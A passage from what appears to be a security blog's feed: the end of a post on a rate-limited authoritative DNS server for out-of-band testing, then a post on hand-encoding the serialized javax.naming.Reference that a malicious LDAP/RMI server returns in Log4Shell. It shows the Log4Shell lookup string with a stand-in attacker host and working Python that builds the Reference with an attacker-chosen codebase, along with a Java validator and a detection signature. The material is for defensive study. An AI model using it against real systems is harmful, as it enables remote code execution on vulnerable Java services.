<h2 id="step-5-dont-get-used-as-a-ddos-amplifier">Step 5: don&rsquo;t get used as a DDoS amplifier</h2>
<p>A public UDP DNS server is a reflection/amplification weapon if you&rsquo;re careless: an attacker spoofs a victim&rsquo;s source IP, sends you a tiny query, and you blast a big answer at the victim. Two cheap defenses, both <em>before</em> any database work:</p>
<ul>
<li>
<p><strong>A per-source-IP token-bucket floor.</strong> Over the limit → <code>REFUSED</code> with no answers (a refusal is the same size as the query, so there&rsquo;s no amplification to exploit). DNS limits should be <em>generous</em> — recursive resolvers hide millions of clients behind one IP, and a single legit lookup can fire 3–4 packets (A + AAAA + HTTPS-RR + CAA) in milliseconds.</p>
</li>
<li>
<p><strong>Response Rate Limiting (RRL), UDP-only, keyed by client <em>prefix</em> (/24 or /64).</strong> Over the limit, answer <strong>truncated</strong> — <code>TC=1</code>, no records:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="k">if</span> <span class="n">rrl_over_limit</span> <span class="ow">and</span> <span class="n">transport</span> <span class="o">==</span> <span class="s2">&#34;udp&#34;</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">    <span class="n">reply</span><span class="o">.</span><span class="n">header</span><span class="o">.</span><span class="n">tc</span> <span class="o">=</span> <span class="mi">1</span>            <span class="c1"># &#34;retry over TCP&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="n">reply</span><span class="o">.</span><span class="n">header</span><span class="o">.</span><span class="n">rcode</span> <span class="o">=</span> <span class="n">RCODE</span><span class="o">.</span><span class="n">NOERROR</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="n">reply</span>
</span></span></code></pre></div><p><code>TC=1</code> is query-sized (no amplification) and forces a <em>legitimate</em> resolver to retry over TCP — which a spoofer can&rsquo;t do, because TCP needs a real three-way handshake the spoofed source will never complete. Prefix keying (not exact IP) is deliberate: a reflection flood concentrates on one victim prefix even as exact source IPs vary.</p>
<p>One more subtlety with real teeth: do <strong>not</strong> auto-ban the source IP that trips UDP RRL. In a reflection attack that &ldquo;source&rdquo; is the <em>victim</em>, not the attacker — banning it punishes the target and is weaponizable against you. TCP-validated surfaces (HTTP) are safe to ban; spoofed UDP sources are not.</p>
</li>
</ul>
<h2 id="the-shape-of-the-whole-thing">The shape of the whole thing</h2>
<p>Strip out capture and persistence and the resolver is essentially:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">resolve(request):
</span></span><span class="line"><span class="cl">    rate-limit floor        -&gt; REFUSED if over
</span></span><span class="line"><span class="cl">    RRL (udp)               -&gt; truncated if over
</span></span><span class="line"><span class="cl">    match zone              -&gt; REFUSED if out of zone, else aa=1
</span></span><span class="line"><span class="cl">    if name == apex:        SOA / NS / A / MX, else NODATA+SOA
</span></span><span class="line"><span class="cl">    else (subdomain):       ACME TXT? else wildcard A + MX, else NODATA+SOA
</span></span><span class="line"><span class="cl">    (capture + attribute + optionally run a response modifier)
</span></span><span class="line"><span class="cl">    return reply
</span></span></code></pre></div><p>That&rsquo;s an authoritative server. ~200 lines on top of a wire-parsing library, and it&rsquo;s enough to delegate a real zone to and catch real callbacks from real exploits. The DNS RFCs are large; the <em>authoritative-for-a-wildcard-zone</em> subset you need for OAST is small, and now you&rsquo;ve seen all of it.</p>
<h2 id="takeaways-that-outlast-this-post">Takeaways that outlast this post</h2>
<ul>
<li><strong>Authoritative ≠ recursive.</strong> Set <code>aa</code>, refuse out-of-zone, serve your own SOA/NS. Three rules and you&rsquo;re a real nameserver.</li>
<li><strong>NODATA is <code>NOERROR</code> + SOA-in-authority</strong>, never <code>NXDOMAIN</code>, never silence. This single detail separates a server that caches correctly from one that mysteriously doesn&rsquo;t.</li>
<li><strong>A wildcard zone is a multi-channel callback sink</strong> — the same label catches DNS, HTTP, and email, and you can validate your own TLS certs against it.</li>
<li><strong>A public UDP service is an amplifier until you rate-limit it</strong> — and the right response is truncation, not refusal-by-ban, because the source you see may be the victim.</li>
</ul>
<p>Next in the series: the part where catching a callback isn&rsquo;t enough — you want to <em>respond</em> with attacker-influenced logic, which means <a href="/2026/07/sandboxing-untrusted-python/">running untrusted Python safely</a>. Six layers of sandbox, and the escape I missed. After that the series goes wider: <a href="/2026/07/multi-tenant-isolation-defense-in-depth/">multi-tenant isolation</a> and <a href="/2026/09/ldap-ber-listener-from-scratch/">a hand-rolled LDAP listener</a> for the Log4Shell callback path.</p>
]]></content:encoded></item><item><title>Hand-rolling the JNDI Reference: what the JVM actually deserializes</title><link>https://chs.us/2026/07/jndi-reference-deserialization/</link><pubDate>Wed, 01 Jul 2026 12:00:00 +0000</pubDate><author>carl.sampson@gmail.com (Carl Sampson)</author><guid>https://chs.us/2026/07/jndi-reference-deserialization/</guid><description>How a Log4Shell-style LDAP/RMI callback returns a javax.naming.Reference, byte for byte — and two serialization bugs that only a real JVM catches.</description><category>Security</category><category>Java</category><category>Deserialization</category><category>Jndi</category><category>Log4shell</category><category>Rmi</category><category>Ldap</category><category>Websec</category><category>Oast</category><content:encoded><![CDATA[<blockquote>
<p>Quick note before we start: this is about the wire format, for defenders and people doing authorized testing. There&rsquo;s no turnkey exploit here, no gadget chain, nothing you can copy-paste to pop a box. The point is to know what the bytes look like so you can spot them.</p>
</blockquote>
<p>You&rsquo;ve seen the Log4Shell string a hundred times:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">${jndi:ldap://attacker.example/a}
</span></span></code></pre></div><p>And you&rsquo;ve probably read the stock explanation that goes with it: the server does a JNDI lookup, the attacker&rsquo;s LDAP server hands back a reference to a remote class, and the JVM downloads and runs it.</p>
<p>That&rsquo;s technically true, and I&rsquo;ve never found it useful. It skips the only part that&rsquo;s actually interesting: the whole attack hinges on one object that the victim JVM deserializes, and that object has to be byte-perfect or nothing happens at all — it just quietly fails and you&rsquo;re left wondering why.</p>
<p>So I decided to build the server side of it myself. No JNDI, no RMI library, not even <code>ObjectOutputStream</code> — just a byte buffer and the spec. I figured I understood the format. Turns out there&rsquo;s a real gap between &ldquo;I read the spec&rdquo; and &ldquo;a real JVM accepts it,&rdquo; and that gap cost me two bugs I never would have caught without running the bytes through an actual JVM.</p>
<p>This post is that object, byte for byte, including both bugs.</p>
<h2 id="the-setup-who-serializes-what">The setup: who serializes what</h2>
<p>When a vulnerable app calls <code>ctx.lookup(&quot;ldap://you/a&quot;)</code> (or <code>rmi://you/a</code>), your malicious directory server gets to return exactly one thing: a serialized Java object. If that object happens to be a <code>javax.naming.Reference</code> with a <code>classFactoryLocation</code> set to a codebase URL, and the victim is running with <code>com.sun.jndi.ldap.object.trustURLCodebase=true</code> (which was the default on old JDKs, before the patches), then <code>NamingManager.getObjectInstance</code> fetches the factory class from your URL and instantiates it. That instantiation is the <a href="/guides/rce/">RCE</a>. That&rsquo;s the whole game.</p>
<p>So the entire server-side payload boils down to one job: <strong>emit a serialized <code>javax.naming.Reference</code> whose <code>className</code>, <code>classFactory</code>, and <code>classFactoryLocation</code> are yours.</strong></p>
<p>Now, you could absolutely shell out to ysoserial or stand up a real LDAP server and let it do this for you. I didn&rsquo;t want to. Partly it&rsquo;s the no-dependencies thing, but mostly it&rsquo;s that you can&rsquo;t really detect or explain something you can only produce by calling a library that hides all the interesting bits from you. If I&rsquo;m going to write a detection signature for this, I want to have typed the bytes myself. Here&rsquo;s what that takes.</p>
<blockquote>
<p>🧩 <strong>See the bytes:</strong> If you would rather read a stream than a hex dump, the <a href="/tools/deser/"><strong>Deserialization Gadget Visualizer</strong></a> parses Java serialization byte by byte — the same structures described below, annotated as you scroll.</p>
</blockquote>
<h2 id="the-java-serialization-stream-in-just-enough-detail">The Java serialization stream, in just enough detail</h2>
<p>A serialized stream starts with a 4-byte header:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">AC ED 00 05      STREAM_MAGIC (0xACED) + STREAM_VERSION (0x0005)
</span></span></code></pre></div><p>After that it&rsquo;s a sequence of typed records. Here are the only ones we care about:</p>
<table>
  <thead>
      <tr>
          <th>Marker</th>
          <th>Byte</th>
          <th>Meaning</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td><code>TC_OBJECT</code></td>
          <td><code>0x73</code></td>
          <td>a new object follows (its class desc, then field values)</td>
      </tr>
      <tr>
          <td><code>TC_CLASSDESC</code></td>
          <td><code>0x72</code></td>
          <td>a class descriptor: name, serialVersionUID, flags, fields</td>
      </tr>
      <tr>
          <td><code>TC_STRING</code></td>
          <td><code>0x74</code></td>
          <td>a string (2-byte length + modified-UTF-8)</td>
      </tr>
      <tr>
          <td><code>TC_ARRAY</code></td>
          <td><code>0x75</code></td>
          <td>an array object</td>
      </tr>
      <tr>
          <td><code>TC_ENDBLOCKDATA</code></td>
          <td><code>0x78</code></td>
          <td>end of a class&rsquo;s optional block data</td>
      </tr>
      <tr>
          <td><code>TC_NULL</code></td>
          <td><code>0x70</code></td>
          <td>null (e.g. &ldquo;no superclass&rdquo;)</td>
      </tr>
  </tbody>
</table>
<p>An object on the wire looks like this: <code>TC_OBJECT</code>, then a class descriptor (the class name, plus <code>serialVersionUID</code>, plus flags, plus the ordered list of field declarations, plus a null meaning &ldquo;no superclass&rdquo;), and then the field <strong>values</strong> in the exact order the descriptor declared them. Strings normally get written once and then back-referenced later with <code>TC_REFERENCE</code> by handle number, which is great for size but miserable to hand-encode. If you just emit every string fresh as its own <code>TC_STRING</code>, the handle numbering stops mattering and your bytes become self-contained. That&rsquo;s the one trick that makes doing this by hand bearable: <strong>never back-reference, always emit fresh.</strong></p>
<p><code>javax.naming.Reference</code>, field by field <code>Reference</code> declares four serializable fields. The JVM doesn&rsquo;t serialize them in declaration order — it uses a canonical order: primitives first, then objects, and each group sorted alphabetically. <code>Reference</code> has no primitive fields, so for us that just means four objects in alphabetical order:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-gdscript3" data-lang="gdscript3"><span class="line"><span class="cl"><span class="n">addrs</span>                 <span class="n">Vector</span>       <span class="p">(</span><span class="n">the</span> <span class="n">RefAddr</span> <span class="n">list</span><span class="p">;</span> <span class="n">must</span> <span class="n">NOT</span> <span class="n">be</span> <span class="n">null</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">classFactory</span>          <span class="ne">String</span>       <span class="p">(</span><span class="n">the</span> <span class="n">factory</span> <span class="k">class</span> <span class="n">name</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">classFactoryLocation</span>  <span class="ne">String</span>       <span class="p">(</span><span class="n">the</span> <span class="n">codebase</span> <span class="n">URL</span> <span class="err">—</span> <span class="n">the</span> <span class="n">payload</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">className</span>              <span class="ne">String</span>       <span class="p">(</span><span class="n">the</span> <span class="k">class</span> <span class="n">to</span> <span class="n">instantiate</span><span class="p">)</span>
</span></span></code></pre></div><p>So the class descriptor is:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">72                                  TC_CLASSDESC
</span></span><span class="line"><span class="cl">00 16 &#34;javax.naming.Reference&#34;      class name (2-byte len + UTF-8)
</span></span><span class="line"><span class="cl">E8 C6 9E A2 A8 E9 8D 09             serialVersionUID
</span></span><span class="line"><span class="cl">02                                  flags = SC_SERIALIZABLE
</span></span><span class="line"><span class="cl">00 04                               4 fields
</span></span><span class="line"><span class="cl">  4C 00 05 &#34;addrs&#34;                 &#39;L&#39; obj field, name &#34;addrs&#34;
</span></span><span class="line"><span class="cl">    74 00 12 &#34;Ljava/util/Vector;&#34;  field type signature
</span></span><span class="line"><span class="cl">  4C 00 0C &#34;classFactory&#34;
</span></span><span class="line"><span class="cl">    74 00 12 &#34;Ljava/lang/String;&#34;
</span></span><span class="line"><span class="cl">  4C 00 14 &#34;classFactoryLocation&#34;
</span></span><span class="line"><span class="cl">    74 00 12 &#34;Ljava/lang/String;&#34;
</span></span><span class="line"><span class="cl">  4C 00 09 &#34;className&#34;
</span></span><span class="line"><span class="cl">    74 00 12 &#34;Ljava/lang/String;&#34;
</span></span><span class="line"><span class="cl">78 70                               TC_ENDBLOCKDATA, TC_NULL (no superclass)
</span></span></code></pre></div><p>Then come the field <strong>values</strong>, in that same order: the <code>addrs</code> Vector first, then three <code>TC_STRING</code>s for factory, codebase, and className. Here it is in Python, emitting the raw bytes:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">serialize_reference</span><span class="p">(</span><span class="n">class_name</span><span class="p">,</span> <span class="n">factory</span><span class="p">,</span> <span class="n">codebase</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="n">cd</span>  <span class="o">=</span> <span class="nb">bytes</span><span class="p">([</span><span class="n">TC_CLASSDESC</span><span class="p">])</span> <span class="o">+</span> <span class="n">_utf</span><span class="p">(</span><span class="s2">&#34;javax.naming.Reference&#34;</span><span class="p">)</span> <span class="o">+</span> <span class="n">_REFERENCE_SUID</span>
</span></span><span class="line"><span class="cl">    <span class="n">cd</span> <span class="o">+=</span> <span class="nb">bytes</span><span class="p">([</span><span class="n">SC_SERIALIZABLE</span><span class="p">])</span> <span class="o">+</span> <span class="p">(</span><span class="mi">4</span><span class="p">)</span><span class="o">.</span><span class="n">to_bytes</span><span class="p">(</span><span class="mi">2</span><span class="p">,</span> <span class="s2">&#34;big&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">cd</span> <span class="o">+=</span> <span class="n">_obj_field</span><span class="p">(</span><span class="s2">&#34;addrs&#34;</span><span class="p">,</span> <span class="s2">&#34;Ljava/util/Vector;&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">cd</span> <span class="o">+=</span> <span class="n">_obj_field</span><span class="p">(</span><span class="s2">&#34;classFactory&#34;</span><span class="p">,</span> <span class="s2">&#34;Ljava/lang/String;&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">cd</span> <span class="o">+=</span> <span class="n">_obj_field</span><span class="p">(</span><span class="s2">&#34;classFactoryLocation&#34;</span><span class="p">,</span> <span class="s2">&#34;Ljava/lang/String;&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">cd</span> <span class="o">+=</span> <span class="n">_obj_field</span><span class="p">(</span><span class="s2">&#34;className&#34;</span><span class="p">,</span> <span class="s2">&#34;Ljava/lang/String;&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">cd</span> <span class="o">+=</span> <span class="nb">bytes</span><span class="p">([</span><span class="n">TC_ENDBLOCKDATA</span><span class="p">,</span> <span class="n">TC_NULL</span><span class="p">])</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">obj</span>  <span class="o">=</span> <span class="nb">bytes</span><span class="p">([</span><span class="n">TC_OBJECT</span><span class="p">])</span> <span class="o">+</span> <span class="n">cd</span>
</span></span><span class="line"><span class="cl">    <span class="n">obj</span> <span class="o">+=</span> <span class="n">_empty_vector</span><span class="p">()</span>          <span class="c1"># addrs</span>
</span></span><span class="line"><span class="cl">    <span class="n">obj</span> <span class="o">+=</span> <span class="n">_tc_string</span><span class="p">(</span><span class="n">factory</span><span class="p">)</span>      <span class="c1"># classFactory</span>
</span></span><span class="line"><span class="cl">    <span class="n">obj</span> <span class="o">+=</span> <span class="n">_tc_string</span><span class="p">(</span><span class="n">codebase</span><span class="p">)</span>     <span class="c1"># classFactoryLocation</span>
</span></span><span class="line"><span class="cl">    <span class="n">obj</span> <span class="o">+=</span> <span class="n">_tc_string</span><span class="p">(</span><span class="n">class_name</span><span class="p">)</span>   <span class="c1"># className</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="n">obj</span>
</span></span></code></pre></div><p>Looks finished, right? It isn&rsquo;t. There are two things wrong with the obvious version of this code, and neither one shows up until you feed the bytes to an actual JVM.</p>
<h2 id="bug-1-the-serialversionuid-you-cant-eyeball">Bug #1: the serialVersionUID you can&rsquo;t eyeball</h2>
<p><code>serialVersionUID</code> is a 64-bit fingerprint for the class. If the value in your stream doesn&rsquo;t match the victim&rsquo;s <code>Reference</code> class exactly, <a href="/guides/deserialization/">deserialization</a> throws <code>InvalidClassException</code> and bails out before it ever looks at your payload. The good news is that <code>Reference</code> declares its UID explicitly in the JDK source, so it&rsquo;s stable across JDK versions. You just have to get the number right.</p>
<p>My first version had a hex constant that looked right and was completely wrong:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">e8 c6 9d 98 ...     WRONG (eyeballed)
</span></span><span class="line"><span class="cl">e8 c6 9e a2 a8 e9 8d 09   correct  (= -1673475790065791735)
</span></span></code></pre></div><p>Two bytes off. And here&rsquo;s the part that stung: my unit test compared the emitted bytes against that same constant, so of course it passed. The test could only ever catch me disagreeing with myself. It had no way to catch me disagreeing with the JVM, which is the only disagreement that matters. The fix is to encode from the signed long directly instead of a hand-copied hex string, so there&rsquo;s one source of truth:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">_REFERENCE_SUID</span> <span class="o">=</span> <span class="p">(</span><span class="o">-</span><span class="mi">1673475790065791735</span><span class="p">)</span><span class="o">.</span><span class="n">to_bytes</span><span class="p">(</span><span class="mi">8</span><span class="p">,</span> <span class="s2">&#34;big&#34;</span><span class="p">,</span> <span class="n">signed</span><span class="o">=</span><span class="kc">True</span><span class="p">)</span>  <span class="c1"># e8c69ea2a8e98d09</span>
</span></span></code></pre></div><p>This is basically the whole reason I wanted to write this up: <strong>a test that checks your output against your own assumption isn&rsquo;t a test.</strong> You need something to check against that doesn&rsquo;t already share your bug.</p>
<h2 id="bug-2-dots-vs-slashes-the-one-that-really-hurts">Bug #2: dots vs. slashes (the one that really hurts)</h2>
<p><code>Reference.addrs</code> has to be a real <code>Vector</code>, not null, because <code>NamingManager.getObjectInstance</code> walks it and throws an NPE if it&rsquo;s null. So I embed a serialized empty <code>Vector</code> whose <code>elementData</code> is an <code>Object[0]</code>. That Vector carries its own class descriptor, and inside it the element array carries yet another class descriptor of its own. This is where two strings that look identical are actually governed by two different rules:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="c1"># Vector.elementData FIELD type signature -&gt; field-descriptor form, SLASHES:</span>
</span></span><span class="line"><span class="cl"><span class="n">cd</span> <span class="o">+=</span> <span class="sa">b</span><span class="s2">&#34;</span><span class="se">\x5b</span><span class="s2">&#34;</span> <span class="o">+</span> <span class="n">_utf</span><span class="p">(</span><span class="s2">&#34;elementData&#34;</span><span class="p">)</span> <span class="o">+</span> <span class="n">_tc_string</span><span class="p">(</span><span class="s2">&#34;[Ljava/lang/Object;&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># ...but the element ARRAY&#39;s OWN classdesc name -&gt; Class.getName() form, DOTS:</span>
</span></span><span class="line"><span class="cl"><span class="n">arr_cd</span> <span class="o">=</span> <span class="nb">bytes</span><span class="p">([</span><span class="n">TC_CLASSDESC</span><span class="p">])</span> <span class="o">+</span> <span class="n">_utf</span><span class="p">(</span><span class="s2">&#34;[Ljava.lang.Object;&#34;</span><span class="p">)</span> <span class="o">+</span> <span class="n">_OBJ_ARRAY_SUID</span>
</span></span></code></pre></div><p>Same eleven characters, one slash-versus-dot difference, and two different correct answers depending on which one you&rsquo;re writing:</p>
<p>&ndash; A <strong>field type signature</strong> (the declared type of a field) uses the JVM <em>field-descriptor</em> form: <code>[Ljava/lang/Object;</code>, with <strong>slashes</strong>.<br>
&ndash; An <strong>array object&rsquo;s class descriptor name</strong> is whatever <code>Class.getName()</code> returns, because on the read side the JVM calls <code>Class.forName()</code> on it. For array classes that comes out as <code>[Ljava.lang.Object;</code>, with <strong>dots</strong>.<br>
Spell the array&rsquo;s classdesc name with slashes and the JVM throws <code>ClassNotFoundException</code> looking for <code>java.lang.Object</code> written with slashes, which is a class that simply doesn&rsquo;t exist in that form. And naturally my structural test emitted slashes in both spots, because both of them &ldquo;looked like&rdquo; the same type string to me. The only thing that caught it was deserializing in a real JVM.</p>
<p>One more while we&rsquo;re in here: the third UID, the one for <code>[Ljava.lang.Object;</code>, isn&rsquo;t a declared constant at all. It&rsquo;s a <em>computed</em> array UID (<code>90ce589f1073296c</code>), and it was the round-trip that finally confirmed I had it right.</p>
<h2 id="the-oracle-20-lines-of-java">The oracle: 20 lines of Java</h2>
<p>The fix for &ldquo;my test shares my bug&rdquo; is to deserialize the bytes in something that doesn&rsquo;t share it. The whole validator is throwaway code:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-java" data-lang="java"><span class="line"><span class="cl"><span class="c1">// Check.java — deserialize our hand-emitted bytes in a real JVM and assert the fields.</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="kn">import</span><span class="w"> </span><span class="nn">java.io.*</span><span class="p">;</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="kn">import</span><span class="w"> </span><span class="nn">javax.naming.Reference</span><span class="p">;</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="kd">public</span><span class="w"> </span><span class="kd">class</span> <span class="nc">Check</span><span class="w"> </span><span class="p">{</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="kd">public</span><span class="w"> </span><span class="kd">static</span><span class="w"> </span><span class="kt">void</span><span class="w"> </span><span class="nf">main</span><span class="p">(</span><span class="n">String</span><span class="o">[]</span><span class="w"> </span><span class="n">a</span><span class="p">)</span><span class="w"> </span><span class="kd">throws</span><span class="w"> </span><span class="n">Exception</span><span class="w"> </span><span class="p">{</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">        </span><span class="kt">byte</span><span class="o">[]</span><span class="w"> </span><span class="n">bytes</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">java</span><span class="p">.</span><span class="na">nio</span><span class="p">.</span><span class="na">file</span><span class="p">.</span><span class="na">Files</span><span class="p">.</span><span class="na">readAllBytes</span><span class="p">(</span><span class="n">java</span><span class="p">.</span><span class="na">nio</span><span class="p">.</span><span class="na">file</span><span class="p">.</span><span class="na">Path</span><span class="p">.</span><span class="na">of</span><span class="p">(</span><span class="n">a</span><span class="o">[</span><span class="n">0</span><span class="o">]</span><span class="p">));</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">        </span><span class="n">Object</span><span class="w"> </span><span class="n">o</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="k">new</span><span class="w"> </span><span class="n">ObjectInputStream</span><span class="p">(</span><span class="k">new</span><span class="w"> </span><span class="n">ByteArrayInputStream</span><span class="p">(</span><span class="n">bytes</span><span class="p">)).</span><span class="na">readObject</span><span class="p">();</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">        </span><span class="n">Reference</span><span class="w"> </span><span class="n">r</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">(</span><span class="n">Reference</span><span class="p">)</span><span class="w"> </span><span class="n">o</span><span class="p">;</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">        </span><span class="n">System</span><span class="p">.</span><span class="na">out</span><span class="p">.</span><span class="na">println</span><span class="p">(</span><span class="s">&#34;className=&#34;</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="n">r</span><span class="p">.</span><span class="na">getClassName</span><span class="p">());</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">        </span><span class="n">System</span><span class="p">.</span><span class="na">out</span><span class="p">.</span><span class="na">println</span><span class="p">(</span><span class="s">&#34;factory=&#34;</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="n">r</span><span class="p">.</span><span class="na">getFactoryClassName</span><span class="p">());</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">        </span><span class="n">System</span><span class="p">.</span><span class="na">out</span><span class="p">.</span><span class="na">println</span><span class="p">(</span><span class="s">&#34;codebase=&#34;</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="n">r</span><span class="p">.</span><span class="na">getFactoryClassLocation</span><span class="p">());</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">        </span><span class="n">System</span><span class="p">.</span><span class="na">out</span><span class="p">.</span><span class="na">println</span><span class="p">(</span><span class="s">&#34;addrs=&#34;</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="n">r</span><span class="p">.</span><span class="na">size</span><span class="p">());</span><span class="w">   </span><span class="c1">// 0, and crucially not an NPE</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="p">}</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="p">}</span><span class="w">
</span></span></span></code></pre></div><p>Dump your bytes to a file with the 4-byte <code>AC ED 00 05</code> header prepended, then run it through a throwaway container:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">docker run --rm -v &#34;$PWD&#34;:/w -w /w eclipse-temurin:21 \
</span></span><span class="line"><span class="cl">  sh -c &#34;javac Check.java &amp;&amp; java Check reference.ser&#34;
</span></span></code></pre></div><p>If it prints your <code>className</code>, <code>factory</code>, and <code>codebase</code> with <code>addrs=0</code> instead of a stack trace, the bytes are real. That one green run is what moved all three UIDs and the dots-versus-slashes fix from &ldquo;I&rsquo;m pretty sure&rdquo; to &ldquo;the JVM agrees with me.&rdquo; I run it after every single change to the serializer, because the in-process structural test still can&rsquo;t catch a wrong constant, and never will — that&rsquo;s the whole point.</p>
<h2 id="detection-signature">Detection signature</h2>
<p>The upside of doing all this by hand is that now you know exactly what a malicious JNDI response looks like on the wire: a serialization stream starting with <code>AC ED 00 05</code>, a <code>TC_CLASSDESC</code> named <code>javax.naming.Reference</code>, and a <code>classFactoryLocation</code> string carrying an LDAP or HTTP URL you don&rsquo;t control. That&rsquo;s a signature you can match in a proxy, a WAF, or an egress monitor, and the false-positive rate is low because nobody legitimately ships a <code>Reference</code> with a remote codebase over an untrusted channel.</p>
<p>Notice that neither of my bugs was in reading the spec. Both were in <em>checking my work</em>. A test that compares your output to your own constant is theater — it feels like verification and verifies nothing. When you&rsquo;re emitting a format that some other system has to consume, that other system is your only real oracle. &ldquo;It serializes&rdquo; and &ldquo;a JVM will actually deserialize it&rdquo; are two different claims, and only the second one is worth anything.</p>
<p>To be clear, this <code>Reference</code> path is the clean, educational version. In an actual engagement the workhorse is the raw-bytes route: take a complete serialized gadget stream from ysoserial or marshalsec, strip its 4-byte header, and embed the object body directly. That route is better precisely because it&rsquo;s JVM-independent and you never have to hand-encode anyone&rsquo;s <code>serialVersionUID</code>. But I don&rsquo;t think you really understand what it&rsquo;s doing until you&rsquo;ve built the simple object by hand once and watched a JVM accept it.</p>
<hr>
<p><em>This is part of a series I&rsquo;m writing on building OAST infrastructure from scratch — <a href="/2026/07/authoritative-dns-from-scratch/">authoritative DNS</a>, <a href="/2026/09/ldap-ber-listener-from-scratch/">multi-protocol callback listeners</a>, <a href="/2026/07/sandboxing-untrusted-python/">a sandboxed Python runtime</a> for the response logic. Next up is <a href="/2026/07/authoritative-dns-from-scratch/">the DNS server</a> you need to catch these callbacks in the first place.</em></p>
]]></content:encoded></item></channel></rss>